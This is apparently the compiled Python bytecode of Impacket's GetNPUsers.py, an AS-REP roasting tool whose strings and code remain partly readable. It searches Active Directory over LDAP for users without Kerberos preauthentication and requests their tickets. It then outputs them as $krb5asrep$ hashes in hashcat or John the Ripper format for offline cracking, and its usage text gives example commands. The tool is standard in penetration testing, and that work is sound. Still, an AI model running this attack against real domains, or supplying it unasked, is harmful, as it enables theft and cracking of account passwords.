o
    jM                  
   @   s  d dl mZ d dl mZ d dlZd dlZd dlZd dlZd dlZd dlm	Z	 d dl
mZmZ d dlmZ d dlmZ d dlmZmZ d d	lmZ d d
lmZmZ d dlmZ d dlmZmZmZmZm Z m!Z! d dl"m#Z#m$Z$ d dl%m&Z&m'Z' d dl(m)Z)m*Z* G dd dZ+e,dkre-ej. ej/dddZ0e0j1dddd e0j1ddddd e0j1ddd d e0j1d!d"d#gd"d$d% e0j1d&d'd( e0j1d)dd*d e0j1d+dd,d e02d-Z3e3j1d.dd/d0d1 e3j1d2dd3d e3j1d4dd5d e3j1d6dd7d8d1 e02d9Z3e3j1d:dd;d<d1 e3j1d=dd>d?d1 e4ej5d@krPe06  e-dA e-dB e-dC e-dD e-dE e-dF e-dG e-dH e-dI e-dJ e-dK e-dL e7d@ e08 Z9e:e9j;e9j< ee9j=e9j>e9j?e9j@e9jA\ZBZCZDZEZEe9_AeBdMkreFdN e7d@ e9jAdu re9j?du reCdMkre9jGdu reFdO e7d@ e9jHdurde9_Ize+eCeDeBe9ZJeJK  W dS  eLy ZM zej<dPddQ eNeOeM W Y dZM[MdS dZM[Mww dS )R    )division)print_functionN)hexlify)decoderencoder)noValue)version)UF_ACCOUNTDISABLEUF_DONT_REQUIRE_PREAUTH)logger)parse_identity
ldap_login)	constants)AS_REQKERB_PA_PAC_REQUEST	KRB_ERRORAS_REPseq_setseq_set_iter)sendReceiveKerberosError)KerberosTime	Principal)ldapldapasn1c                   @   s\   e Zd Zedd Zdd Zedd Zddd	ZedddZdd Z	dd Z
dd Zd
S )GetUserNoPreAuthc                    s   g }t |D ]\ }t fdd| D }|t|t| qddd t |D }t|j|  tddd |D  | D ]	}t|j|  qAd S )Nc                    s   g | ]}t |  qS  )len).0rowir   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/../../../bin/GetNPUsers.py
<listcomp>9   s    z/GetUserNoPreAuth.printTable.<locals>.<listcomp> c                 S   s   g | ]
\}}d ||f qS )z	{%d:%ds} r   )r   numwidthr   r   r"   r#   <   s    z  c                 S   s   g | ]}d | qS )-r   )r   itemLenr   r   r"   r#   @       )	enumeratemaxappendr   joinprintformat)itemsheadercolLencol	rowMaxLenoutputFormatr   r   r    r"   
printTable5   s   zGetUserNoPreAuth.printTablec                 C   s   || _ || _|| _d | _d| _d| _|j| _|j| _	|j
| _|j| _|j| _|j| _|j| _|j| _|j| _|jd urE|jd\| _| _| jd}d| _|D ]}|  jd| 7  _qP| jd d | _d S )N :.zdc=%s,)_GetUserNoPreAuth__username_GetUserNoPreAuth__password_GetUserNoPreAuth__domain_GetUserNoPreAuth__target_GetUserNoPreAuth__lmhash_GetUserNoPreAuth__nthashno_pass_GetUserNoPreAuth__no_pass
outputfile!_GetUserNoPreAuth__outputFileNamer/   _GetUserNoPreAuth__outputFormat	usersfile_GetUserNoPreAuth__usersFileaesKey_GetUserNoPreAuth__aesKeyk_GetUserNoPreAuth__doKerberosrequest_GetUserNoPreAuth__requestTGTdc_ip_GetUserNoPreAuth__kdcIPdc_host_GetUserNoPreAuth__kdcHosthashessplitbaseDN)selfusernamepassworddomaincmdLineOptionsdomainPartsr!   r   r   r"   __init__F   s,   
zGetUserNoPreAuth.__init__c                 C   s   | d8 } | d } | S )Nl     }*{Gi r   )tr   r   r"   getUnixTimeb   s   zGetUserNoPreAuth.getUnixTimeTc              
   C   s   t |tjjjd}t }| j }t d| tjjjd}t }||d< t	
|}d|d< ttjjj|d< t|d< t|d d< ttjjj|d d d	< ||d d d
< t|d}	t }
|
tjjj |
tjjj |
tjjj t|
|	d< t|	d|j t|	d|j |dkrtd||	d< tjtjjtjdd }t ||	d< t ||	d< t!"d|	d< ttj#j$jf}t%|	d| t	
|}z	t&||| j'}W n@ t(y } z3|) tj*j+jkrttj#j,jttj#j-jf}t%|	d| t	
|}t&||| j'}n|W Y d }~nd }~ww zt.j/|t0 dd }W n   t.j/|t1 dd }Y ntd| | j2dkr|d d dksO|d d dkrxd|d d ||t3|d d  4 d d! / t3|d d  4 d!d  / f S d"||t3|d d  4 d d# / t3|d d  4 d#d  / f S |d d dks|d d dkrd$|d d ||t3|d d  4 d!d  / t3|d d  4 d d! / f S d%|d d ||t3|d d  4 d d# / t3|d d  4 d#d  / f S )&N)typez	krbtgt/%szinclude-pac   pvnozmsg-typepadatar   zpadata-typezpadata-valuezreq-bodyzkdc-optionssnamecnamer7   z$Empty Domain not allowed in Kerberosrealm   )daystillrtime   nonceetype)asn1Specz0User %s doesn't have UF_DONT_REQUIRE_PREAUTH setjohnzenc-part      z$krb5asrep$%d$%s%s$%s$%scipheriz$krb5asrep$%s@%s:%s$%s   z$krb5asrep$%d$%s$%s$%s$%sz$krb5asrep$%d$%s@%s:%s$%s)5r   r   PrincipalNameTypeNT_PRINCIPALvaluer   r=   upperr   r   encodeintApplicationTagNumbersr   PreAuthenticationDataTypesPA_PAC_REQUESTr   listr,   
KDCOptionsforwardable	renewable	proxiableencodeFlagscomponents_to_asn1	Exceptiondatetimenowtimezoneutc	timedeltar   to_asn1randomgetrandbitsEncryptionTypesrc4_hmacr   r   rO   r   getErrorCode
ErrorCodesKDC_ERR_ETYPE_NOSUPPaes256_cts_hmac_sha1_96aes128_cts_hmac_sha1_96r   decoder   r   rE   r   asOctets)rU   userName
requestPAC
clientNameasReqrX   
serverName
pacRequestencodedPacRequestreqBodyoptsr   supportedCiphersmessagereasRepr   r   r"   getTGTh   s   




$$zGetUserNoPreAuth.getTGTNc                 C   s&   t |  |d ur|| d  d S d S )N
)r.   write)entryfdr   r   r"   	outputTGT   s   zGetUserNoPreAuth.outputTGTc                 C   s  | j r	|   d S | jdu r*| jdu r*td| j  | | j}| | jg d S zt	| j
| j| j| j| j| j| j| j| j| j| j}|j| _
W n8 tjy } z+t|ddk rwtd| j  | | j}| | jg W Y d }~d S W Y d }~nd }~ww dttf }ztd|  |j|g d	d
d}W nE tjy } z8| ddkrtd | }nt|ddkrtd  | jd ur| jd urtd  W Y d }~nd }~ww g }tdt |  |D ]}t!|t"j#durqd}d}	d}
d}d}d}z|d D ]}t|d dkr!t|d d }	d}q
t|d dkr6dt$|d d  }q
t|d dkrIt|d d }
q
t|d dkrvt|d d dkrad}q
tt%j%&| 't$t|d d }q
t|d dkrt|d d dkrd}q
tt%j%&| 't$t|d d }q
|du r|(|	|
|||g W q t)y } ztjddd  t*d!t|  W Y d }~qd }~ww t |dkr| j+|g d"d# t,d$ | j-du rd%d& |D }| | d S d S t,d' d S )(NFTzGetting TGT for %sstrongerAuthRequiredr   z'Cannot authenticate %s, getting its TGTz(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))zSearch Filter=%s)sAMAccountName
pwdLastSetMemberOfuserAccountControl	lastLogoni  )searchFilter
attributes	sizeLimitsizeLimitExceededzNsizeLimitExceeded exception caught, giving up and processing the data receivedNTLMAuthNegotiatez_NTLM negotiation failed. Probably NTLM is disabled. Try to use Kerberos authentication instead.zjIf the credentials are valid, check the hostname and IP address of KDC. They must match exactly each otherzTotal of records returned %dr7   zN/Ar   r^   r   valsr   z0x%xmemberOfr   0z<never>r   
Exception:exc_infoz-Skipping item, cannot process due to error %s)Namer   PasswordLastSet	LastLogonUAC)r1   z

c                 S   s   g | ]}|d  qS )r   r   )r   answerr   r   r"   r#   1  r)   z(GetUserNoPreAuth.run.<locals>.<listcomp>zNo entries found!).rG   request_users_file_TGTsrK   rB   logginginfor;   r   request_multiple_TGTsr   r>   rT   rO   rQ   r<   r=   r?   r@   rI   _dstHostr   LDAPSessionErrorstrfindr
   r	   debugsearchLDAPSearchErrorgetErrorString
getAnswerscriticalr   
isinstancer   SearchResultEntryrw   r   fromtimestampr]   r,   r   errorr6   r.   rM   )rU   r   ldapConnectionr   r   respanswersitem
mustCommitr   r   r   r   r   	attribute	usernamesr   r   r"   run   s   2	



*&
zGetUserNoPreAuth.runc                 C   sF   t | j}dd |D }W d    n1 sw   Y  | | d S )Nc                 S   s   g | ]}|  qS r   )strip)r   liner   r   r"   r#   9  r)   z<GetUserNoPreAuth.request_users_file_TGTs.<locals>.<listcomp>)openrG   r   )rU   fir   r   r   r"   r   7  s   z(GetUserNoPreAuth.request_users_file_TGTsc                 C   s   | j d urt| j d}nd }|D ]*}z| |}| || W q ty: } ztdt|  W Y d }~qd }~ww |d urE|  d S d S )Nzw+z%s)	rD   r   r   r   r   r   r   r   close)rU   r   r   rV   r   r   r   r   r"   r   =  s   

z&GetUserNoPreAuth.request_multiple_TGTs)T)N)__name__
__module____qualname__staticmethodr6   r[   r]   r   r   r   r   r   r   r   r   r"   r   4   s    


bgr   __main__TzwQueries target domain for users with 'Do not require Kerberos preauthentication' set and export their TGTs for cracking)add_helpdescriptiontargetstorez[[domain/]username[:password]])actionhelpz-request
store_trueFzLRequests TGT for users and output them in JtR/hashcat format (default False))r   defaultr   z-outputfilez6Output filename to write ciphers in JtR/hashcat formatz-formathashcatrm   zQformat to save the AS_REQ of users without pre-authentication. Default is hashcat)choicesr   r   z
-usersfilezFile with user per line to test)r   z-tsz&Adds timestamp to every logging outputz-debugzTurn DEBUG output ONauthenticationz-hasheszLMHASH:NTHASHz$NTLM hashes, format is LMHASH:NTHASH)r   metavarr   z-no-passz&don't ask for password (useful for -k)z-kzUse Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command linez-aesKeyzhex keyz<AES key to use for Kerberos Authentication (128 or 256 bits)
connectionz-dc-ipz
ip addresszoIP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameterz-dc-hosthostnamez|Hostname of the domain controller to use. If ommited, the domain part (FQDN) specified in the account parameter will be usedre   z,
There are a few modes for using this scriptz
1. Get a TGT for a user:z-
	GetNPUsers.py contoso.com/john.doe -no-passz
For this operation you don't need john.doe's password. It is important tho, to specify -no-pass in the script, 
otherwise a badpwdcount entry will be added to the userz8
2. Get a list of users with UF_DONT_REQUIRE_PREAUTH setzM
	GetNPUsers.py contoso.com/emily:password or GetNPUsers.py contoso.com/emilyz
This will list all the users in the contoso.com domain that have UF_DONT_REQUIRE_PREAUTH set. 
However it will require you to have emily's password. (If you don't specify it, it will be asked by the script)z
3. Request TGTs for all userszV
	GetNPUsers.py contoso.com/emily:password -request or GetNPUsers.py contoso.com/emilyz$
4. Request TGTs for users in a filez:
	GetNPUsers.py -no-pass -usersfile users.txt contoso.com/z/
For this operation you don't need credentials.r7   zDomain should be specified!zIf the -no-pass option was specified, but Kerberos (-k) is not used, then a username or the -usersfile option should be specified!r   r   )P
__future__r   r   argparser   r   r   sysbinasciir   pyasn1.codec.derr   r   pyasn1.type.univr   impacketr   impacket.dcerpc.v5.samrr	   r
   impacket.examplesr   impacket.examples.utilsr   r   impacket.krb5r   impacket.krb5.asn1r   r   r   r   r   r   impacket.krb5.kerberosv5r   r   impacket.krb5.typesr   r   impacket.ldapr   r   r   r   r.   BANNERArgumentParserparseradd_argumentadd_argument_groupgroupr   argv
print_helpexit
parse_argsoptionsinittsr   r   rR   rA   rH   rJ   rX   rV   rW   _r   rF   rC   rL   executerr   r   r   r   r   r   r   r   r"   <module>   s      




(


.

